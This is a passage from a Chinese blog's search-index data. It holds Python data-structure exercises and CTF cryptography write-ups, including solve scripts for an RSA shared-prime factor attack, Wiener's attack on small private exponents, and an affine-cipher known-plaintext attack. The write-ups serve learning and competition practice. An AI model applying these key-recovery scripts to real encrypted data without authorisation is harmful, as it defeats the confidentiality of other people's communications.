parChecker2(symbolString): s = Stack() balanced = True index = 0 while index < len(symbolString) and balanced: symbol = symbolString(index) if symbol in "({[": s.push(symbol) else: if s.isEmpty(): balanced = False else: top = s.pop() if not matches(top,symbol): balanced = False index = index + 1 if balanced and s.isEmpty(): return True else: return False# 栈的应用三:十进制数转二进制(除k取余法,k也可以取其他值,可将十进制转化为其他非二进制数)def divideBy2(decNumber): remstack = Stack() while decNumber > 0: rem = decNumber % 2 remstack.push(rem) decNumber = decNumber // 2 binString = '' while not remstack.isEmpty(): binString = binString + str(remstack.pop()) return binString# 栈的应用四:中序表达式到后序表达式的转化def infixToPostfix(infixexpr): prec = {} #用字典将数字和运算符号对应以确定运算符的优先级 prec["*"] = 3 prec["/"] = 3 prec["+"] = 2 prec["-"] = 2 prec["("] = 1 opStack = Stack() postfixList = [] tokenList = infixexpr.split() for token in tokenList: if token in string.ascii_uppercase: postfixList.append(token) elif token == "(": opStack.push(token) elif token == ")": topToken = opStack.pop() while topToken != "(": postfixList.append(topToken) topToken = opStack.pop() else: while (not opStack.isEmpty()) and (prec[opStack.peek()] >= prec[token]): postfixList.append(opStack.pop()) opStack.push(token) while not opStack.isEmpty(): postfixList.append(opStack.pop()) return " ".join(postfixList)","categories":[{"name":"python数据结构与算法","slug":"python数据结构与算法","permalink":"http://example.com/categories/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"}],"tags":[{"name":"python数据结构","slug":"python数据结构","permalink":"http://example.com/tags/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"},{"name":"栈","slug":"栈","permalink":"http://example.com/tags/%E6%A0%88/"}]},{"title":"CTFshow-BJDCTF2020-六十四卦","slug":"CTFshow-BJDCTF2020-六十四卦","date":"2021-12-16T11:59:19.000Z","updated":"2021-12-16T12:38:40.000Z","comments":true,"path":"2021/12/16/CTFshow-BJDCTF2020-六十四卦/","link":"","permalink":"http://example.com/2021/12/16/CTFshow-BJDCTF2020-%E5%85%AD%E5%8D%81%E5%9B%9B%E5%8D%A6/","excerpt":"附件就两个,一个txt和一个py:","text":"附件就两个,一个txt和一个py: 根据题目和附件一的64卦,猜测和base64有关(不确定,无所谓),百度了一下64卦,感觉和卦象歌序关系不大,但是找到这张图,这他喵怎么越看越像01序列: 64卦,刚好6位01序列,先转化为01再转化为字符: 123456789101112131415161718192021s='升随临损巽睽颐萃小过讼艮颐小过震蛊屯未济中孚艮困恒晋升损蛊萃蛊未济巽解艮贲未济观豫损蛊晋噬嗑晋旅解大畜困未济随蒙升解睽未济井困未济旅萃未济震蒙未济师涣归妹大有'dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}li=[]k=0for i in range(len(s)): if k ==1: k=0 continue try: li.append(dic[s[i]]) except: t='' t=t+s[i]+s[i+1] li.append(dic[t]) k=1ss=''.join(li)print(ss)enc=''for i in range(0,len(ss),8): enc+=chr(eval('0b'+ss[i:i+8]))print(enc) 输出 bl1oXF1ra2FbW2VpV1dfUmBiT11dYE5NVVdXSUZYSFVDUA== ;显然的base64,解密转成字节流: n]h]kka[[eiWW_RbO]]NMUWWIFXHUCP 这里别忘了还有一个py文件,也就是把flag的ASCII码进行了两次移位等操作;理一理顺序吧:flag ->encrypt5 ->encrypt4 ->”算卦“ 所以我们解出base64以后,应该进行两次encrypt4,5的逆运算: encrypt4很简单: 123456def decrypt4(enc): temp='' offset=5 for i in range(len(enc)): temp+=chr(ord(enc[i])+offset+i) return temp encrypt5有一丢丢的数论模运算: 123456789101112131415def decrypt4(enc): temp='' offset=5 for i in range(len(enc)): temp+=chr(ord(enc[i])+offset+i) return tempdef decrypt5(flag): for a in range(1,100): enc = '' for i in flag: for k in range(200): if (ord(i) - 97 - 7+26*k)%a==0: enc+= chr((ord(i) - 97 - 7 + 26 * k) // a + 97) break print(enc) 最后得到的flag: bjdcongratulationsongettingtheflag 显然,出题人没丁丁QAQ","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"CTFshow-BJDCTF2020-RSA","slug":"CTFshow-BJDCTF2020-RSA","date":"2021-12-10T08:40:04.000Z","updated":"2021-12-10T08:53:08.000Z","comments":true,"path":"2021/12/10/CTFshow-BJDCTF2020-RSA/","link":"","permalink":"http://example.com/2021/12/10/CTFshow-BJDCTF2020-RSA/","excerpt":"最近期末,偶尔做做题消遣,这道题考察了通过求两组n的公因数从而得到p、q破解密码的攻击方法。","text":"最近期末,偶尔做做题消遣,这道题考察了通过求两组n的公因数从而得到p、q破解密码的攻击方法。 题目: 12345678910111213141516171819202122232425262728from Crypto.Util.number import getPrime,bytes_to_longflag=open("flag","rb").read()p=getPrime(1024)q=getPrime(1024)assert(e<100000)n=p*qm=bytes_to_long(flag)c=pow(m,e,n)print c,nprint pow(294,e,n)p=getPrime(1024)n=p*qm=bytes_to_long("BJD"*32)c=pow(m,e,n)print c,n;'''output:12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120 13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037381631268825806469518166370387352035475775677163615730759454343913563615970881967332407709901235637718936184198930226303761876517101208677107311006065728014220477966000620964056616058676999878976943319063836649085085377577273214792371548775204594097887078898598463892440141577974544939268247818937936607013100808169758675042264568547764031628431414727922168580998494695800403043312406643527637667466318473669542326169218665366423043579003388486634167642663495896607282155808331902351188500197960905672207046579647052764579411814305689137519860880916467272056778641442758940135016400808740387144508156358067955215018979153370552535153498477459720877329811204688208387543826122582132404214848454954722487086658061408795223805022202997613522014736983452121073860054851302343517756732701026667062765906277626879215457936330799698812755973057557620930172778859116538571207100424990838508255127616637334499680058645411786925302368790414768248611809358160197554369255458675450109457987698749584630551177577492043403656419968285163536823819817573531356497236154342689914525321673807925458651854768512396355389740863270148775362744448115581639629326362342160548500035000156097215446881251055505465713854173913142040976382500435185442521721 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047''' 只需要求得n1和n2的最大公因数,就可以得到p、q的值,但是这道题没给e,可以通过爆破的方法正向加密对应密文(可能还有其他方法)求得e,脚本中注释的部分是爆破e的代码: 12345678910111213141516171819import gmpy2from Crypto.Util.number import *n1=13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037n2=12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047s="BJD"*32m=bytes_to_long(s.encode())p = gmpy2.gcd(n1,n2)# for i in range(100000):# c=pow(m,i,n2)# if c==979153370552535153498477459720877329811204688208387543826122582132404214848454954722487086658061408795223805022202997613522014736983452121073860054851302343517756732701026667062765906277626879215457936330799698812755973057557620930172778859116538571207100424990838508255127616637334499680058645411786925302368790414768248611809358160197554369255458675450109457987698749584630551177577492043403656419968285163536823819817573531356497236154342689914525321673807925458651854768512396355389740863270148775362744448115581639629326362342160548500035000156097215446881251055505465713854173913142040976382500435185442521721:# print(i)# breake=52361q=n1//pphi = (p-1)*(q-1)d=gmpy2.invert(e,phi)c_flag=12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120flag=pow(c_flag,d,n1)print(long_to_bytes(flag)) BJD{p_is_common_divisor}","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"CTFshow-这是base??","slug":"CTFshow-这是base??","date":"2021-12-10T08:11:56.000Z","updated":"2022-01-13T03:07:16.000Z","comments":true,"path":"2021/12/10/CTFshow-这是base??/","link":"","permalink":"http://example.com/2021/12/10/CTFshow-%E8%BF%99%E6%98%AFbase%EF%BC%9F%EF%BC%9F/","excerpt":"​ 打开题目文件,由两部分组成,一部分是密码算法包含的所有符号,另一部分则是密文。加密算法的符号一共64个,正好和base64的密文符号组对应,但是它的字符顺序和base64的顺序不一样,猜测应该是进行了移位,比如码值为0原本对应A的,现在对应J,所以我们只需要获取密文每个字符在当前密文符中的位置,去对应原本base64的字符就可。","text":"​ 打开题目文件,由两部分组成,一部分是密码算法包含的所有符号,另一部分则是密文。加密算法的符号一共64个,正好和base64的密文符号组对应,但是它的字符顺序和base64的顺序不一样,猜测应该是进行了移位,比如码值为0原本对应A的,现在对应J,所以我们只需要获取密文每个字符在当前密文符中的位置,去对应原本base64的字符就可。 解密脚本: 1234567891011import base64base='JKLMNOxyUVzABCDEFGH789PQIabcdefghijklmWXYZ0123456RSTnopqrstuvw+/'base1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'chipertext='FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw's=''for i in chipertext: j=int(base.find(i)) s=s+base1[j]print(s)flag=base64.b64decode(s)print(flag) BJD{D0_Y0u_kNoW_Th1s_b4se_map}","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"CTFWiki-仿射密码","slug":"CTFWiki-仿射密码","date":"2021-11-27T03:22:40.000Z","updated":"2021-11-27T04:56:24.000Z","comments":true,"path":"2021/11/27/CTFWiki-仿射密码/","link":"","permalink":"http://example.com/2021/11/27/CTFWiki-%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A0%81/","excerpt":"​ 最近发现CTFWiki上有系统的一套密码学知识框架,决定跟着过一遍。 ​ 第一篇是单表代换,太基础的就不记录了,直接从仿射密码开始。首先介绍一下仿射密码的原理:","text":"​ 最近发现CTFWiki上有系统的一套密码学知识框架,决定跟着过一遍。 ​ 第一篇是单表代换,太基础的就不记录了,直接从仿射密码开始。首先介绍一下仿射密码的原理: 仿射密码的加密函数是 E(x)=(ax+b)(modm)E(x)=(ax+b)(modm),其中 x 表示明文按照某种编码得到的数字 a 和 m互质 m是编码系统中字母的数目(比如英文字符就是26) 解密函数是 D(x)=a−1(x−b)(modm),其中 a−1 是 a 在 Zm 群的乘法逆元。 ​ 仿射密码的密钥空间不大,存在单表替换密码的通有弊病:明文和密文一一对应,即当密文长度足够长时,我们可以使用频率分析的方法来破解。 ​ 仿射密码的破解还可以通过已知明文攻击,过程如下: ​ 已知:x1,x2以及y1=(ax1+b)(mod26),y2=(ax2+b)(mod26) ​ 通过y1,y2两式相减,可得:y1−y2=a(x1−x2)(mod26) ​ 再通过求x1-x2模26的逆,两边相乘,就可得到a,再通过a求出b就破解了密码。 ​ 例题 1234567891011121314151617import syskey = '****CENSORED***************'flag = 'TWCTF{*******CENSORED********}'if len(key) % 2 == 1: print("Key Length Error") sys.exit(1)n = len(key) / 2encrypted = ''for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % cprint encrypted 1encrypted:805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9 (16进制存储) ​ 虽然题目对于 flag 中的每个字母都加密了 n 次,但仿射密码的特性是,多次加密效果类同于一次加密: c1=a1c+b1 c2=a2c1+b2=a1a2c+a2b1+b2=kc+d ​ 根据第二行的推导,我们可以得到其实 cn 也是这样的形式,可以看成 cn=xc+ycn=xc+y ,并且,我们可以知道的是,key 是始终不变化的,所以说,其实这个就是普通的仿射密码。解密代码如下: 1234567891011121314151617import gmpy2key = '****CENSORED****************'flag = 'TWCTF{*******CENSORED********}'f = open('encrypted', 'r')data = f.read().strip('\\n')encrypted = [int(data[i:i + 2], 16) for i in range(0, len(data), 2)]plaindelta = ord(flag[1]) - ord(flag[0])cipherdalte = encrypted[1] - encrypted[0]a = gmpy2.invert(plaindelta, 251) * cipherdalte % 251b = (encrypted[0] - a * ord(flag[0])) % 251a_inv = gmpy2.invert(a, 251)result = ""for c in encrypted: result += chr((c - b) * a_inv % 251)print (result) ​ 结果为:TWCTF{Faster_Than_Shinkansen!}","categories":[{"name":"CTFWiki","slug":"CTFWiki","permalink":"http://example.com/categories/CTFWiki/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"CTFWiki","slug":"CTFWiki","permalink":"http://example.com/tags/CTFWiki/"},{"name":"仿射密码","slug":"仿射密码","permalink":"http://example.com/tags/%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A0%81/"}]},{"title":"RSA-Wiener-Attack实现","slug":"RSA-Wiener-Attack实现","date":"2021-11-24T11:56:03.000Z","updated":"2022-01-02T07:36:26.000Z","comments":true,"path":"2021/11/24/RSA-Wiener-Attack实现/","link":"","permalink":"http://example.com/2021/11/24/RSA-Wiener-Attack%E5%AE%9E%E7%8E%B0/","excerpt":"​ 先介绍一下连分数:连分数(continued fraction)是特殊繁分数。如果a0,a1,a2,…","text":"​ 先介绍一下连分数:连分数(continued fraction)是特殊繁分数。如果a0,a1,a2,…an,…都是整数,则将分别称为无限连分数和有限连分数。可简记为a0 ,a1,a2,…,an,…和a0,a1,a2,…,an。一般一个有限连分数表示一个有理数,一个无限连分数表示一个无理数。如果a0,a1,a2,…,an,…都是实数,可将上述形式连分数分别叫无限连分数和有限连分数 。近代数学的计算需要,还可将连分数中的a0,a1 ,a2,…,an,…取成以x为变元的多项式。在近代计算数学中它常与某些微分方程式差分方程有关,与某些递推关系有关的函数构造的应用相联系。 ​ 研究连分数的动机源于想要有实数在“数学上纯粹”的表示。这里的a0 可以是任意整数,其它ai 都是 {0, 1, 2, …, 9} 的一个元素。在这种表示中,例如数 π 被表示为整数序列 {3, 1, 4, 1, 5, 9, 2, …}。这种小数表示有些问题。例如,在这种情况下使用常数 10 是因为我们使用了 10进制系统。我们还可以使用 8进制或 2 进制系统。另一个问题是很多有理数在这个系统内缺乏有限表示。例如,数 1/3 被表示为无限序列 {0, 3, 3, 3, 3, ….}。连分数表示法是避免了实数表示的这两个问题。让我们考虑如何描述一个数如 415/93,约为 4.4624。近似为 4,而实际上比 4 多一点,约为 4 + 1/2。但是在分母中的 2 是不准确的;更准确的分母是比 2 多一点,约为 2 + 1/6,所以 415/93 近似为 4 + 1/(2 + 1/6)。但是在分母中的 6 是不准确的;更准确分母是比 6 多一点,实际是 6+1/7。所以 415/93 实际上是 4+1/(2+1/(6+1/7))。这样才准确 。去掉表达式 4 + 1/(2 + 1/(6 + 1/7)) 中的冗余部分可得到简略记号 [4; 2, 6, 7]。 ​ 维纳攻击的原理已经在上篇讲的很详细,这里直接给出攻击实现的代码: 1234567891011121314151617181920212223242526272829def continuedFra(x, y): #不断生成连分数的项 cF = [] while y: cF += [x // y] x, y = y, x % y return cFdef Simplify(ctnf): #化简 numerator = 0 denominator = 1 for x in ctnf[::-1]: #注意这里是倒叙遍历 numerator, denominator = denominator, x * denominator + numerator return (numerator, denominator) #把连分数分成分子和算出来的分母def getit(c): cf=[] for i in range(1,len(c)): cf.append(Simplify(c[:i])) #各个阶段的连分数的分子和分母 return cf #得到一串连分数def wienerAttack(e, n): cf=continuedFra(e,n) for (k,d) in getit(cf):#遍历得到的连分数,令分子分母分别是k,d if d == 0: continue if type((e*d-1)/k)== int: #必须满足phi(n)为整数 return d#注意这里的d还不一定是私钥,可以利用d和k的值以及phi(n)与p,q的关系列出一元二次方程,放入sage求解,若可求出p,q则无误 print('not find!') ​ 当通过维纳攻击找到d,p,q的值时,整个密码也就被破解了。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"维纳攻击","slug":"比赛/RSA/维纳攻击","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"维纳攻击","slug":"维纳攻击","permalink":"http://example.com/tags/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"}]},{"title":"RSA_Wiener_Attack原理","slug":"RSA-Wiener-Attack原理","date":"2021-11-23T12:44:28.000Z","updated":"2022-03-17T14:40:42.000Z","comments":true,"path":"2021/11/23/RSA-Wiener-Attack原理/","link":"","permalink":"http://example.com/2021/11/23/RSA-Wiener-Attack%E5%8E%9F%E7%90%86/","excerpt":"先描述一下RSA密码体制: RSA密码体制:","text":"先描述一下RSA密码体制: RSA密码体制: 考虑RSA密码体制:n = pq,其中p 和q 是素数。ϕ ( n ) = ( p − 1 ) ( q − 1 ) 。我们知道RSA的加解密主要进行模幂运算,如果利用快速平方乘方法的话,选择一个较小的解密指数会大幅度降低计算时间,提高解密效率。但是这里指出:应该避免解密指数过小。 这里介绍由M.Wiener提出的一种攻击,可以计算出解密指数a。前提条件是: 并且满足:如果n 的二进制表示有L比特,那么当e的二进制表示位数小于L/4-1,p和q 相距不太远时,攻击才算有效。 由连分数的理论可知,此时t/a是b/n的一个收敛子。 因为n和b都是公开的,计算收敛子是容易的。我们只要计算出b/n的所有收敛子,看哪个收敛子可以分解n。(如果t/a是收敛子,我们就有了a和t的值,依据ϕ(n)=(ab−1)/t 就可以计算出ϕ ( n ) ,进而可以解一元二次方程求出p,以此为判断依据确定哪个收敛子才是真正的t和a。) 验证结束之后,我们就可以得到a的值,不仅破解了密码,大整数n 也被分解了。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"维纳攻击","slug":"比赛/RSA/维纳攻击","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"维纳攻击","slug":"维纳攻击","permalink":"http://example.com/tags/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"}]},{"title":"Python_basic_class1","slug":"python-class1","date":"2021-11-23T12:04:31.000Z","updated":"2021-11-23T12:19:52.000Z","comments":true,"path":"2021/11/23/python-class1/","link":"","permalink":"http://example.com/2021/11/23/python-class1/","excerpt":"Python类的构造和默认标准方法的使用,实现了一个‘分数类’,对于理解面向对象编程比较实用。","text":"Python类的构造和默认标准方法的使用,实现了一个‘分数类’,对于理解面向对象编程比较实用。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105# 欧几里得算法求最大公约数def gcd(m, n): while m % n != 0: oldm = m oldn = n m = oldn n = oldm % oldn return nclass Fraction: # 构造方法,self是一个总指向对象本身的特殊参数,它必须是第一个形式参数,这里先约分再返回分数 def __init__(self, top, bottom): if((type(top) != int) or (type(bottom) != int)): #判断输入的数字是否为整数,不是则异常 raise RuntimeError("You must input integer!") else: common = gcd(top, bottom) self.num = top // common self.den = bottom // common # _str_方法是类中默认用来实现将对象转为字符串的方法,这里重写它 def __str__(self): return str(str(self.num)+"/"+str(self.den)) # _add_方法是类中默认用来实现相加的方法,这里将它重写,使得可以进行两分数的加法,这里不需要再化简结果(构造函数已经做了) def __add__(self, other): newnum = self.num * other.den + \\ self.den * other.num newden = self.den * other.den return Fraction(newnum,newden) #_sub_方法用来实现减法 def __sub__(self, other): newnum = self.num * other.den - \\ self.den * other.num newden = self.den * other.den return Fraction(newnum,newden) #_mul_方法用来实现乘法 def __mul__(self, other): newnum = self.num * other.num newden = self.den * other.den return Fraction(newnum,newden) #_truediv_方法实现除法 def __truediv__(self, other): newnum = self.num * other.den newden = self.den * other.num return Fraction(newnum,newden) # 利用交叉相乘来判断两个对象的值是否相等(深相等) def __eq__(self, other): firstnum = self.num * other.den secondnum = other.num * self.den return firstnum == secondnum #_gt_方法判断self对象是否大于other对象 def __gt__(self, other): selfnum = self.num * other.den othernum = other.num * self.den return selfnum > othernum #_ge_方法判断self对象是否大于等于other对象 def __ge__(self, other): selfnum = self.num * other.den othernum = other.num * self.den return selfnum >= othernum #_lt_方法判断self对象是否小于other对象 def __lt__(self, other): selfnum = self.num * other.den othernum = other.num * self.den return selfnum < othernum #_ne_方法判断是否不相等(!=),当只定义_eq_时,在实际调用!=时会将_eq_取反,大小于也是同样道理(可以只定义一个) def __ne__(self, other): if (self.num != other.num) or (self.den !=other.den): return True #getNum和getDen分别返回分数的分子和分母 def getNum(self): return self.num def getDen(self): return self.den #_radd_方法 +号左侧对象没有_add_方法时,会在右侧对象寻找并调用_radd_,此时的self是 + 右端对象 def __radd__(self, other): newnum = self.num * other.den + \\ self.den * other.num newden = self.den * other.den return Fraction(newnum, newden)if __name__ == '__main__': f1 = Fraction(6,-8) f2 = Fraction(7,4) print(f1+f2) print(f1-f2) print(f2.getDen()) print(f2.getNum()) print(f1>=f2) print(f1==f2)","categories":[{"name":"python数据结构与算法","slug":"python数据结构与算法","permalink":"http://example.com/categories/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"}],"tags":[{"name":"python基础","slug":"python基础","permalink":"http://example.com/tags/python%E5%9F%BA%E7%A1%80/"},{"name":"面向对象","slug":"面向对象","permalink":"http://example.com/tags/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1/"}]},{"title":"CTFshow—Crypto 13","slug":"13","date":"2021-11-22T01:49:44.000Z","updated":"2021-11-22T05:10:14.000Z","comments":true,"path":"2021/11/22/13/","link":"","permalink":"http://example.com/2021/11/22/13/","excerpt":"打开题目所给文件,仅有一个base.txt,并且很长,直接跳到末尾发现等号,于是猜测应该是base32或base64。","text":"打开题目所给文件,仅有一个base.txt,并且很长,直接跳到末尾发现等号,于是猜测应该是base32或base64。 由于base家族编码以后密文比明文更长,所以猜测base.txt是加密很多次过后的结果,由于不确定过程中究竟用了几种加密,写脚本的时候可以分情况遍历。脚本如下: 12345678910111213141516171819202122232425262728293031323334import base64s=''with open('base.txt', 'r', encoding='UTF-8') as f: s=''.join(f.readlines()).encode('utf-8')src=s while True: try: src=s s=base64.b16decode(s) str(s,'utf-8') continue except: pass try: src=s s=base64.b32decode(s) str(s,'utf-8') continue except: pass try: src=s s=base64.b64decode(s) str(s,'utf-8') continue except: pass breakwith open('result.txt','w', encoding='utf-8') as file: file.write(str(src,'utf-8'))print("Decryption complete!") 结果:","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]}],"categories":[{"name":"日常练习","slug":"日常练习","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/"},{"name":"随缘刷题(二)","slug":"日常练习/随缘刷题-二","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%BA%8C/"},{"name":"随缘刷题(一)","slug":"日常练习/随缘刷题-一","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%B8%80/"},{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"DASCTF NOVX联合出题人2022","slug":"buu/DASCTF-NOVX联合出题人2022","permalink":"http://example.com/categories/buu/DASCTF-NOVX%E8%81%94%E5%90%88%E5%87%BA%E9%A2%98%E4%BA%BA2022/"},{"name":"PWNHUB","slug":"PWNHUB","permalink":"http://example.com/categories/PWNHUB/"},{"name":"冬季赛","slug":"PWNHUB/冬季赛","permalink":"http://example.com/categories/PWNHUB/%E5%86%AC%E5%AD%A3%E8%B5%9B/"},{"name":"内网渗透","slug":"内网渗透","permalink":"http://example.com/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"},{"name":"VULNHUB系列靶场","slug":"内网渗透/VULNHUB系列靶场","permalink":"http://example.com/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/VULNHUB%E7%B3%BB%E5%88%97%E9%9D%B6%E5%9C%BA/"},{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"Copper","slug":"比赛/RSA/Copper","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/Copper/"},{"name":"杂项","slug":"杂项","permalink":"http://example.com/categories/%E6%9D%82%E9%A1%B9/"},{"name":"运维","slug":"杂项/运维","permalink":"http://example.com/categories/%E6%9D%82%E9%A1%B9/%E8%BF%90%E7%BB%B4/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"新生赛合集","slug":"赛事/新生赛合集","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/"},{"name":"HNCTF2022","slug":"赛事/新生赛合集/HNCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/HNCTF2022/"},{"name":"领航杯2022","slug":"赛事/领航杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%A2%86%E8%88%AA%E6%9D%AF2022/"},{"name":"NewStarCTF2022","slug":"赛事/新生赛合集/NewStarCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/NewStarCTF2022/"},{"name":"SWPU2022","slug":"赛事/新生赛合集/SWPU2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/SWPU2022/"},{"name":"NSS","slug":"NSS","permalink":"http://example.com/categories/NSS/"},{"name":"NSSCTF Round#6 